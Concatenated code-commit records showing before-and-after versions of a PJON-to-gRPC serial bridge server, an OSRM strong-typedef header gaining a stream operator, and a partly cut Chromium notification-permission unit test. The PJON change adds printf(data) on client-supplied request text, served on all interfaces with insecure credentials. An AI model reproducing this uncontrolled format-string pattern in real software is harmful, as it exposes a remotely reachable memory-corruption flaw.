std::to_string(packet_info.sender_bus_id[i]);\n if (i < sizeof(packet_info.sender_bus_id) - 1)\n std::cout << \".\";\n }\n std::cout << \" rcv_id=\" << std::to_string(packet_info.receiver_id)\n << \" rcv_net=\";\n for (uint32_t i = 0; i < sizeof(packet_info.receiver_bus_id); i++) {\n std::cout << std::to_string(packet_info.receiver_bus_id[i]);\n if (i < sizeof(packet_info.receiver_bus_id) - 1)\n std::cout << \".\";\n }\n std::cout << \" id=\" << std::to_string(packet_info.id)\n << \" hdr=\" << std::to_string(packet_info.header)\n << \" pckt_cnt=\" << std::to_string(rcvd_cnt)\n << \" len=\" << length\n << \" data=\" << response;\n std::cout << std::endl;\n};\n\nstatic void error_handler_function(uint8_t code, uint8_t data) {\n std::cout << \"#ERR code=\" << std::to_string(code);\n std::cout << \" data=\" << std::to_string(data);\n std::cout << std::endl;\n};\n\nbool is_enough_args(int argc, char **argv) {\n if (argc < 4)\n return false;\n return true;\n}\n\nbool is_first_arg_com_port(int argc, char **argv) {\n if (std::string(argv[1]).find(\"tty\") != std::string::npos)\n return true;\n return false;\n}\n\nbool is_second_arg_bitrate(int argc, char **argv) {\n if (0 < std::stoi(std::string(argv[2])))\n if(std::stoi(std::string(argv[2])) <= 153600)\n return true;\n return false;\n}\n\nbool is_third_arg_bus_id(int argc, char **argv) {\n if (0 <= std::stoi(std::string(argv[3])))\n if (std::stoi(std::string(argv[3])) <= 255)\n return true;\n return false;\n}\n\nvoid print_usage_help() {\n std::cout\n << \"PJON_gRPC - gRPC server-client for PJON bus\\n\"\n << \"VERSION: \" << PJON_gRPC_SERVER_VERSION << \"\\n\"\n << \"\\n\"\n << \"usage: pjon_grpc_server <COM PORT> <BITRATE> <NODE ID>\\n\"\n << \" \\\\ \\\\ \\\\\\n\"\n << \" \\\\ \\\\ 0-255\\n\"\n << \" \/dev\/ttyXXXX 1200 - 153600\\n\"\n << std::endl\n << \"example: pjon_grpc_server \/dev\/ttyUSB0 57600 1\" << std::endl\n << std::endl\n << \"other options:\" << std::endl\n << \" help - print this help\" << std::endl\n << \"version - displays program version\" << std::endl\n << \"--------------------------------------\" << std::endl\n ;\n}\n\nvoid pjon_communication(int node_id, const char* data) {\n printf(\"Attempting to send a packet... \\n\");\n bus.send(node_id, data, strlen(data));\n printf(\"Attempting to roll bus... \\n\");\n bus.update();\n printf(\"Attempting to receive from bus... \\n\");\n bus.receive(5000000);\n}\n\nclass ArduinoServiceImpl final : public Arduino::Service {\n Status RPiArduino(ServerContext* context, const Arduino_Request* request,\n Arduino_Reply* reply) override {\n response = \"\";\n int node_id = request->node_id();\n const char* data = request->data().c_str();\n pjon_communication(node_id, data);\n reply->set_message(response);\n return Status::OK;\n }\n};\n\nvoid run_server() {\n std::string server_address(\"0.0.0.0:50051\");\n ArduinoServiceImpl service;\n ServerBuilder builder;\n builder.AddListeningPort(server_address, grpc::InsecureServerCredentials());\n builder.RegisterService(&service);\n std::unique_ptr<Server> server(builder.BuildAndStart());\n std::cout << \"Server listening on \" << server_address << std::endl;\n server->Wait();\n}\n\nint main(int argc, char** argv) {\n if (argc == 2) {\n if (std::string(argv[1]) == \"help\") {\n print_usage_help();\n return 0;\n } else if (std::string(argv[1]) == \"version\") {\n std::cout << \"VERSION: \" << PJON_gRPC_SERVER_VERSION << \"\\n\";\n return 0;\n }\n print_usage_help();\n std::cerr << \"ERROR: option not supported\\n\";\n return 1;\n }\n if (!is_enough_args(argc, argv)) {\n print_usage_help();\n std::cerr << \"ERROR: not enough args\\n\";\n return 1;\n }\n if (!is_first_arg_com_port(argc, argv)) {\n print_usage_help();\n std::cerr << \"ERROR: first arg <COM PORT> should be \/dev\/ttyXXXX\\n\";\n return 1;\n }\n if (!is_second_arg_bitrate(argc, argv)) {\n print_usage_help();\n std::cerr << \"ERROR: second arg <BITRATE> should specify bitrate 1 - 153600 like 2400, 19200, 38400, 57600, 115200, 153600\\n\";\n return 1;\n }\n if (!is_third_arg_bus_id(argc, argv)) {\n print_usage_help();\n std::cerr << \"ERROR: third arg <NODE ID> should specify bus address 0 - 255\\n\";\n return 1;\n }\n\n char* com_str = argv[1];\n int bitRate = std::stoi(std::string(argv[2]));\n\/\/ TODO: How we can define it globally?\n\/\/ PJON<ThroughSerial> bus(std::stoi(std::string(argv[3])));\n\n try {\n printf(\"Opening serial... \\n\");\n int s = serialOpen(com_str, bitRate);\n if (int(s) < 0) {\n printf(\"Serial open fail!\\n\");\n exit (EXIT_FAILURE);\n }\n if (wiringPiSetup() == -1) {\n printf(\"WiringPi setup fail\");\n exit (EXIT_FAILURE);\n }\n\n printf(\"Setting serial... \\n\");\n bus.strategy.set_serial(s);\n bus.strategy.set_baud_rate(bitRate);\n\n printf(\"Opening bus... \\n\");\n bus.begin();\n bus.set_receiver(receiver_function);\n bus.set_error(error_handler_function);\n bus.set_synchronous_acknowledge(true);\n \/\/ crc_8 doesn't work correctly with 8.x PJON version, can be fixed in v9.x\n bus.set_crc_32(true);\n\n run_server();\n return 0;\n }\n catch (const char* msg) {\n std::cout << \"exc: \"\n << msg\n << std::endl;\n return 1;\n }\n}\n<commit_msg>some changes<commit_after>\/\/ Common libraries\n#include \"version.h\"\n#include <stdio.h>\n\/\/ PJON library\n#define TS_RESPONSE_TIME_OUT 75000\n#define PJON_INCLUDE_TS true \/\/ Include only ThroughSerial\n#ifndef RPI\n #define RPI true\n#endif\n#include \"PJON\/PJON.h\"\n#include <inttypes.h>\n#include <stdlib.h>\n#include <string.h>\n\/\/ RPI serial interface\n#include <wiringPi.h>\n#include <wiringSerial.h>\n\/\/ gRPC library\n#include <iostream>\n#include <memory>\n#include <grpc++\/grpc++.h>\n#include \"pjongrpc.grpc.pb.h\"\n\nusing grpc::Server;\nusing grpc::ServerBuilder;\nusing grpc::ServerContext;\nusing grpc::Status;\nusing pjongrpc::Arduino_Request;\nusing pjongrpc::Arduino_Reply;\nusing pjongrpc::Arduino;\n\n\/\/ TODO: Find the way to change in from command line\nPJON<ThroughSerial> bus(1);\n\nuint64_t rcvd_cnt = 0;\nstd::string response;\n\n\nstatic void receiver_function(\n uint8_t *payload,\n uint16_t length,\n const PJON_Packet_Info &packet_info){\n\n for (uint32_t i = 0; i != length; i++){\n response += payload[i];\n }\n\n rcvd_cnt += 1;\n std::cout << \"#RCV snd_id=\" << std::to_string(packet_info.sender_id)\n << \" snd_net=\";\n for (uint32_t i = 0; i < sizeof(packet_info.sender_bus_id); i++) {\n std::cout << std::to_string(packet_info.sender_bus_id[i]);\n if (i < sizeof(packet_info.sender_bus_id) - 1)\n std::cout << \".\";\n }\n std::cout << \" rcv_id=\" << std::to_string(packet_info.receiver_id)\n << \" rcv_net=\";\n for (uint32_t i = 0; i < sizeof(packet_info.receiver_bus_id); i++) {\n std::cout << std::to_string(packet_info.receiver_bus_id[i]);\n if (i < sizeof(packet_info.receiver_bus_id) - 1)\n std::cout << \".\";\n }\n std::cout << \" id=\" << std::to_string(packet_info.id)\n << \" hdr=\" << std::to_string(packet_info.header)\n << \" pckt_cnt=\" << std::to_string(rcvd_cnt)\n << \" len=\" << length\n << \" data=\" << response;\n std::cout << std::endl;\n};\n\nstatic void error_handler_function(uint8_t code, uint8_t data) {\n std::cout << \"#ERR code=\" << std::to_string(code);\n std::cout << \" data=\" << std::to_string(data);\n std::cout << std::endl;\n};\n\nbool is_enough_args(int argc, char **argv) {\n if (argc < 4)\n return false;\n return true;\n}\n\nbool is_first_arg_com_port(int argc, char **argv) {\n if (std::string(argv[1]).find(\"tty\") != std::string::npos)\n return true;\n return false;\n}\n\nbool is_second_arg_bitrate(int argc, char **argv) {\n if (0 < std::stoi(std::string(argv[2])))\n if(std::stoi(std::string(argv[2])) <= 153600)\n return true;\n return false;\n}\n\nbool is_third_arg_bus_id(int argc, char **argv) {\n if (0 <= std::stoi(std::string(argv[3])))\n if (std::stoi(std::string(argv[3])) <= 255)\n return true;\n return false;\n}\n\nvoid print_usage_help() {\n std::cout\n << \"PJON_gRPC - gRPC server-client for PJON bus\\n\"\n << \"VERSION: \" << PJON_gRPC_SERVER_VERSION << \"\\n\"\n << \"\\n\"\n << \"usage: pjon_grpc_server <COM PORT> <BITRATE> <NODE ID>\\n\"\n << \" \\\\ \\\\ \\\\\\n\"\n << \" \\\\ \\\\ 0-255\\n\"\n << \" \/dev\/ttyXXXX 1200 - 153600\\n\"\n << std::endl\n << \"example: pjon_grpc_server \/dev\/ttyUSB0 57600 1\" << std::endl\n << std::endl\n << \"other options:\" << std::endl\n << \" help - print this help\" << std::endl\n << \"version - displays program version\" << std::endl\n << \"--------------------------------------\" << std::endl\n ;\n}\n\nvoid pjon_communication(int node_id, const char* data) {\n printf(data);\n printf(\"\\n\");\n printf(\"Attempting to send a packet... \\n\");\n bus.send(node_id, data, strlen(data));\n printf(\"Attempting to roll bus... \\n\");\n bus.update();\n printf(\"Attempting to receive from bus... \\n\");\n bus.receive(5000000);\n\/\/uint32_t time = micros();\n\/\/while(micros() - time < 5000000) { bus.update(); bus.receive(); }\n}\n\nclass ArduinoServiceImpl final : public Arduino::Service {\n Status RPiArduino(ServerContext* context, const Arduino_Request* request,\n Arduino_Reply* reply) override {\n response = \"\";\n int node_id = request->node_id();\n const char* data = request->data().c_str();\n pjon_communication(node_id, data);\n reply->set_message(response);\n return Status::OK;\n }\n};\n\nvoid run_server() {\n std::string server_address(\"0.0.0.0:50051\");\n ArduinoServiceImpl service;\n ServerBuilder builder;\n builder.AddListeningPort(server_address, grpc::InsecureServerCredentials());\n builder.RegisterService(&service);\n std::unique_ptr<Server> server(builder.BuildAndStart());\n std::cout << \"Server listening on \" << server_address << std::endl;\n server->Wait();\n}\n\nint main(int argc, char** argv) {\n if (argc == 2) {\n if (std::string(argv[1]) == \"help\") {\n print_usage_help();\n return 0;\n } else if (std::string(argv[1]) == \"version\") {\n std::cout << \"VERSION: \" << PJON_gRPC_SERVER_VERSION << \"\\n\";\n return 0;\n }\n print_usage_help();\n std::cerr << \"ERROR: option not supported\\n\";\n return 1;\n }\n if (!is_enough_args(argc, argv)) {\n print_usage_help();\n std::cerr << \"ERROR: not enough args\\n\";\n return 1;\n }\n if (!is_first_arg_com_port(argc, argv)) {\n print_usage_help();\n std::cerr << \"ERROR: first arg <COM PORT> should be \/dev\/ttyXXXX\\n\";\n return 1;\n }\n if (!is_second_arg_bitrate(argc, argv)) {\n print_usage_help();\n std::cerr << \"ERROR: second arg <BITRATE> should specify bitrate 1 - 153600 like 2400, 19200, 38400, 57600, 115200, 153600\\n\";\n return 1;\n }\n if (!is_third_arg_bus_id(argc, argv)) {\n print_usage_help();\n std::cerr << \"ERROR: third arg <NODE ID> should specify bus address 0 - 255\\n\";\n return 1;\n }\n\n char* com_str = argv[1];\n int bitRate = std::stoi(std::string(argv[2]));\n\/\/ TODO: How we can define it globally?\n\/\/ PJON<ThroughSerial> bus(std::stoi(std::string(argv[3])));\n\n try {\n printf(\"Opening serial... \\n\");\n int s = serialOpen(com_str, bitRate);\n if (int(s) < 0) {\n printf(\"Serial open fail!\\n\");\n exit (EXIT_FAILURE);\n }\n if (wiringPiSetup() == -1) {\n printf(\"WiringPi setup fail\");\n exit (EXIT_FAILURE);\n }\n\n printf(\"Setting serial... \\n\");\n bus.strategy.set_serial(s);\n bus.strategy.set_baud_rate(bitRate);\n\n printf(\"Opening bus... \\n\");\n bus.begin();\n bus.set_receiver(receiver_function);\n bus.set_error(error_handler_function);\n bus.set_synchronous_acknowledge(true);\n \/\/ crc_8 doesn't work correctly with 8.x PJON version, can be fixed in v9.x\n bus.set_crc_32(true);\n\n run_server();\n return 0;\n }\n catch (const char* msg) {\n std::cout << \"exc: \"\n << msg\n << std::endl;\n return 1;\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef STRONG_TYPEDEF_HPP\n#define STRONG_TYPEDEF_HPP\n\n#include <type_traits>\n#include <functional>\n\nnamespace osrm\n{\n\n\/* Creates strongly typed wrappers around scalar types.\n * Useful for stopping accidental assignment of lats to lons,\n * etc. Also clarifies what this random \"int\" value is\n * being used for.\n *\/\n#define OSRM_STRONG_TYPEDEF(From, To) \\\n class To final \\\n { \\\n static_assert(std::is_arithmetic<From>(), \"\"); \\\n From x; \\\n \\\n public: \\\n To() = default; \\\n explicit To(const From x_) : x(x_) {} \\\n explicit operator From &() { return x; } \\\n explicit operator const From &() const { return x; } \\\n bool operator<(const To &z_) const { return x < static_cast<const From>(z_); } \\\n bool operator>(const To &z_) const { return x > static_cast<const From>(z_); } \\\n bool operator<=(const To &z_) const { return x <= static_cast<const From>(z_); } \\\n bool operator>=(const To &z_) const { return x >= static_cast<const From>(z_); } \\\n bool operator==(const To &z_) const { return x == static_cast<const From>(z_); } \\\n bool operator!=(const To &z_) const { return x != static_cast<const From>(z_); } \\\n }; \\\n inline From To##_to_##From(To to) { return static_cast<From>(to); } \\\n namespace std \\\n { \\\n template <> struct hash<To> \\\n { \\\n std::size_t operator()(const To &k) const \\\n { \\\n return std::hash<From>()(static_cast<const From>(k)); \\\n } \\\n }; \\\n }\n}\n\n#endif \/\/ OSRM_STRONG_TYPEDEF_HPP\n<commit_msg>Add operator<< to OSRM_STRONG_TYPEDEF<commit_after>#ifndef STRONG_TYPEDEF_HPP\n#define STRONG_TYPEDEF_HPP\n\n#include <iostream>\n#include <type_traits>\n#include <functional>\n\nnamespace osrm\n{\n\n\/* Creates strongly typed wrappers around scalar types.\n * Useful for stopping accidental assignment of lats to lons,\n * etc. Also clarifies what this random \"int\" value is\n * being used for.\n *\/\n#define OSRM_STRONG_TYPEDEF(From, To) \\\n class To final \\\n { \\\n static_assert(std::is_arithmetic<From>(), \"\"); \\\n From x; \\\n friend std::ostream& operator<<(std::ostream& stream, const To& inst); \\\n \\\n public: \\\n To() = default; \\\n explicit To(const From x_) : x(x_) {} \\\n explicit operator From &() { return x; } \\\n explicit operator const From &() const { return x; } \\\n bool operator<(const To &z_) const { return x < static_cast<const From>(z_); } \\\n bool operator>(const To &z_) const { return x > static_cast<const From>(z_); } \\\n bool operator<=(const To &z_) const { return x <= static_cast<const From>(z_); } \\\n bool operator>=(const To &z_) const { return x >= static_cast<const From>(z_); } \\\n bool operator==(const To &z_) const { return x == static_cast<const From>(z_); } \\\n bool operator!=(const To &z_) const { return x != static_cast<const From>(z_); } \\\n }; \\\n inline From To##_to_##From(To to) { return static_cast<From>(to); } \\\n namespace std \\\n { \\\n template <> struct hash<To> \\\n { \\\n std::size_t operator()(const To &k) const \\\n { \\\n return std::hash<From>()(static_cast<const From>(k)); \\\n } \\\n }; \\\n } \\\n inline std::ostream& operator<<(std::ostream& stream, const To& inst) { \\\n return stream << #To << '(' << inst.x << ')'; \\\n }\n}\n\n#endif \/\/ OSRM_STRONG_TYPEDEF_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/notifications\/desktop_notification_service.h\"\n\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/synchronization\/waitable_event.h\"\n#include \"chrome\/browser\/notifications\/notifications_prefs_cache.h\"\n#include \"chrome\/browser\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/prefs\/scoped_user_pref_update.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/test\/testing_profile.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/browser\/renderer_host\/test_render_view_host.h\"\n#include \"grit\/generated_resources.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebNotificationPresenter.h\"\n\nnamespace {\n\n\/\/ NotificationsPrefsCache wants to be called on the IO thread. This class\n\/\/ routes calls to the cache on the IO thread.\nclass ThreadProxy : public base::RefCountedThreadSafe<ThreadProxy> {\n public:\n ThreadProxy()\n : io_event_(false, false),\n ui_event_(false, false),\n permission_(0) {\n \/\/ The current message loop was already initalized by the test superclass.\n ui_thread_.reset(\n new BrowserThread(BrowserThread::UI, MessageLoop::current()));\n\n \/\/ Create IO thread, start its message loop.\n io_thread_.reset(new BrowserThread(BrowserThread::IO));\n io_thread_->Start();\n\n \/\/ Calling PauseIOThread() here isn't safe, because the runnable method\n \/\/ could complete before the constructor is done, deleting |this|.\n }\n\n int CacheHasPermission(NotificationsPrefsCache* cache, const GURL& url) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n NewRunnableMethod(this, &ThreadProxy::CacheHasPermissionIO,\n make_scoped_refptr(cache), url));\n io_event_.Signal();\n ui_event_.Wait(); \/\/ Wait for IO thread to be done.\n BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n NewRunnableMethod(this, &ThreadProxy::PauseIOThreadIO));\n\n return permission_;\n }\n\n void PauseIOThread() {\n BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n NewRunnableMethod(this, &ThreadProxy::PauseIOThreadIO));\n }\n\n void DrainIOThread() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n io_event_.Signal();\n io_thread_->Stop();\n }\n\n private:\n friend class base::RefCountedThreadSafe<ThreadProxy>;\n ~ThreadProxy() {\n DrainIOThread();\n }\n\n void PauseIOThreadIO() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n io_event_.Wait();\n }\n\n void CacheHasPermissionIO(NotificationsPrefsCache* cache, const GURL& url) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n permission_ = cache->HasPermission(url);\n ui_event_.Signal();\n }\n\n base::WaitableEvent io_event_;\n base::WaitableEvent ui_event_;\n scoped_ptr<BrowserThread> ui_thread_;\n scoped_ptr<BrowserThread> io_thread_;\n\n int permission_;\n};\n\n\nclass DesktopNotificationServiceTest : public RenderViewHostTestHarness {\n public:\n DesktopNotificationServiceTest() {\n }\n\n virtual void SetUp() {\n RenderViewHostTestHarness::SetUp();\n proxy_ = new ThreadProxy;\n proxy_->PauseIOThread();\n\n \/\/ Creates the service, calls InitPrefs() on it which loads data from the\n \/\/ profile into the cache and then puts the cache in io thread mode.\n service_ = profile()->GetDesktopNotificationService();\n cache_ = service_->prefs_cache();\n }\n\n virtual void TearDown() {\n \/\/ The io thread's waiting on the io_event_ might hold a ref to |proxy_|,\n \/\/ preventing its destruction. Clear that ref.\n proxy_->DrainIOThread();\n RenderViewHostTestHarness::TearDown();\n }\n\n DesktopNotificationService* service_;\n NotificationsPrefsCache* cache_;\n scoped_refptr<ThreadProxy> proxy_;\n};\n\nTEST_F(DesktopNotificationServiceTest, DefaultContentSettingSentToCache) {\n \/\/ The default pref registered in DesktopNotificationService is \"ask\",\n \/\/ and that's what sent to the cache.\n EXPECT_EQ(CONTENT_SETTING_ASK, cache_->CachedDefaultContentSetting());\n\n \/\/ Change the default content setting. This will post a task on the IO thread\n \/\/ to update the cache.\n service_->SetDefaultContentSetting(CONTENT_SETTING_BLOCK);\n\n \/\/ The updated pref shouldn't be sent to the cache immediately.\n EXPECT_EQ(CONTENT_SETTING_ASK, cache_->CachedDefaultContentSetting());\n\n \/\/ Run IO thread tasks.\n proxy_->DrainIOThread();\n\n \/\/ Now that IO thread events have been processed, it should be there.\n EXPECT_EQ(CONTENT_SETTING_BLOCK, cache_->CachedDefaultContentSetting());\n}\n\nTEST_F(DesktopNotificationServiceTest, SettingsForSchemes) {\n GURL url(\"file:\/\/\/html\/test.html\");\n\n EXPECT_EQ(CONTENT_SETTING_ASK, cache_->CachedDefaultContentSetting());\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, url));\n\n service_->GrantPermission(url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, url));\n\n service_->DenyPermission(url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, url));\n\n GURL https_url(\"https:\/\/testurl\");\n GURL http_url(\"http:\/\/testurl\");\n EXPECT_EQ(CONTENT_SETTING_ASK, cache_->CachedDefaultContentSetting());\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, http_url));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, https_url));\n\n service_->GrantPermission(https_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, https_url));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, http_url));\n\n service_->DenyPermission(http_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, http_url));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, https_url));\n}\n\nTEST_F(DesktopNotificationServiceTest, GrantPermissionSentToCache) {\n GURL url(\"http:\/\/allowed.com\");\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, url));\n\n service_->GrantPermission(url);\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, url));\n}\n\nTEST_F(DesktopNotificationServiceTest, DenyPermissionSentToCache) {\n GURL url(\"http:\/\/denied.com\");\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, url));\n\n service_->DenyPermission(url);\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, url));\n}\n\nTEST_F(DesktopNotificationServiceTest, PrefChangesSentToCache) {\n PrefService* prefs = profile()->GetPrefs();\n\n ListValue* allowed_sites =\n prefs->GetMutableList(prefs::kDesktopNotificationAllowedOrigins);\n {\n allowed_sites->Append(new StringValue(GURL(\"http:\/\/allowed.com\").spec()));\n ScopedUserPrefUpdate updateAllowed(\n prefs, prefs::kDesktopNotificationAllowedOrigins);\n }\n\n ListValue* denied_sites =\n prefs->GetMutableList(prefs::kDesktopNotificationDeniedOrigins);\n {\n denied_sites->Append(new StringValue(GURL(\"http:\/\/denied.com\").spec()));\n ScopedUserPrefUpdate updateDenied(\n prefs, prefs::kDesktopNotificationDeniedOrigins);\n }\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, GURL(\"http:\/\/allowed.com\")));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, GURL(\"http:\/\/denied.com\")));\n}\n\nTEST_F(DesktopNotificationServiceTest, GetAllowedOrigins) {\n service_->GrantPermission(GURL(\"http:\/\/allowed2.com\"));\n service_->GrantPermission(GURL(\"http:\/\/allowed.com\"));\n\n std::vector<GURL> allowed_origins(service_->GetAllowedOrigins());\n ASSERT_EQ(2u, allowed_origins.size());\n EXPECT_EQ(GURL(\"http:\/\/allowed2.com\"), allowed_origins[0]);\n EXPECT_EQ(GURL(\"http:\/\/allowed.com\"), allowed_origins[1]);\n}\n\nTEST_F(DesktopNotificationServiceTest, GetBlockedOrigins) {\n service_->DenyPermission(GURL(\"http:\/\/denied2.com\"));\n service_->DenyPermission(GURL(\"http:\/\/denied.com\"));\n\n std::vector<GURL> denied_origins(service_->GetBlockedOrigins());\n ASSERT_EQ(2u, denied_origins.size());\n EXPECT_EQ(GURL(\"http:\/\/denied2.com\"), denied_origins[0]);\n EXPECT_EQ(GURL(\"http:\/\/denied.com\"), denied_origins[1]);\n}\n\nTEST_F(DesktopNotificationServiceTest, ResetAllSentToCache) {\n GURL allowed_url(\"http:\/\/allowed.com\");\n service_->GrantPermission(allowed_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, allowed_url));\n GURL denied_url(\"http:\/\/denied.com\");\n service_->DenyPermission(denied_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, denied_url));\n\n service_->ResetAllOrigins();\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, allowed_url));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, denied_url));\n}\n\nTEST_F(DesktopNotificationServiceTest, ResetAllowedSentToCache) {\n GURL allowed_url(\"http:\/\/allowed.com\");\n service_->GrantPermission(allowed_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, allowed_url));\n\n service_->ResetAllowedOrigin(allowed_url);\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, allowed_url));\n}\n\nTEST_F(DesktopNotificationServiceTest, ResetBlockedSentToCache) {\n GURL denied_url(\"http:\/\/denied.com\");\n service_->DenyPermission(denied_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, denied_url));\n\n service_->ResetBlockedOrigin(denied_url);\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, denied_url));\n}\n\n} \/\/ namespace\n<commit_msg>Get rid of PrefService::GetMutableDictionary\/GetMutableList<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/notifications\/desktop_notification_service.h\"\n\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/synchronization\/waitable_event.h\"\n#include \"chrome\/browser\/notifications\/notifications_prefs_cache.h\"\n#include \"chrome\/browser\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/prefs\/scoped_user_pref_update.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/test\/testing_profile.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/browser\/renderer_host\/test_render_view_host.h\"\n#include \"grit\/generated_resources.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebNotificationPresenter.h\"\n\nnamespace {\n\n\/\/ NotificationsPrefsCache wants to be called on the IO thread. This class\n\/\/ routes calls to the cache on the IO thread.\nclass ThreadProxy : public base::RefCountedThreadSafe<ThreadProxy> {\n public:\n ThreadProxy()\n : io_event_(false, false),\n ui_event_(false, false),\n permission_(0) {\n \/\/ The current message loop was already initalized by the test superclass.\n ui_thread_.reset(\n new BrowserThread(BrowserThread::UI, MessageLoop::current()));\n\n \/\/ Create IO thread, start its message loop.\n io_thread_.reset(new BrowserThread(BrowserThread::IO));\n io_thread_->Start();\n\n \/\/ Calling PauseIOThread() here isn't safe, because the runnable method\n \/\/ could complete before the constructor is done, deleting |this|.\n }\n\n int CacheHasPermission(NotificationsPrefsCache* cache, const GURL& url) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n NewRunnableMethod(this, &ThreadProxy::CacheHasPermissionIO,\n make_scoped_refptr(cache), url));\n io_event_.Signal();\n ui_event_.Wait(); \/\/ Wait for IO thread to be done.\n BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n NewRunnableMethod(this, &ThreadProxy::PauseIOThreadIO));\n\n return permission_;\n }\n\n void PauseIOThread() {\n BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n NewRunnableMethod(this, &ThreadProxy::PauseIOThreadIO));\n }\n\n void DrainIOThread() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n io_event_.Signal();\n io_thread_->Stop();\n }\n\n private:\n friend class base::RefCountedThreadSafe<ThreadProxy>;\n ~ThreadProxy() {\n DrainIOThread();\n }\n\n void PauseIOThreadIO() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n io_event_.Wait();\n }\n\n void CacheHasPermissionIO(NotificationsPrefsCache* cache, const GURL& url) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n permission_ = cache->HasPermission(url);\n ui_event_.Signal();\n }\n\n base::WaitableEvent io_event_;\n base::WaitableEvent ui_event_;\n scoped_ptr<BrowserThread> ui_thread_;\n scoped_ptr<BrowserThread> io_thread_;\n\n int permission_;\n};\n\n\nclass DesktopNotificationServiceTest : public RenderViewHostTestHarness {\n public:\n DesktopNotificationServiceTest() {\n }\n\n virtual void SetUp() {\n RenderViewHostTestHarness::SetUp();\n proxy_ = new ThreadProxy;\n proxy_->PauseIOThread();\n\n \/\/ Creates the service, calls InitPrefs() on it which loads data from the\n \/\/ profile into the cache and then puts the cache in io thread mode.\n service_ = profile()->GetDesktopNotificationService();\n cache_ = service_->prefs_cache();\n }\n\n virtual void TearDown() {\n \/\/ The io thread's waiting on the io_event_ might hold a ref to |proxy_|,\n \/\/ preventing its destruction. Clear that ref.\n proxy_->DrainIOThread();\n RenderViewHostTestHarness::TearDown();\n }\n\n DesktopNotificationService* service_;\n NotificationsPrefsCache* cache_;\n scoped_refptr<ThreadProxy> proxy_;\n};\n\nTEST_F(DesktopNotificationServiceTest, DefaultContentSettingSentToCache) {\n \/\/ The default pref registered in DesktopNotificationService is \"ask\",\n \/\/ and that's what 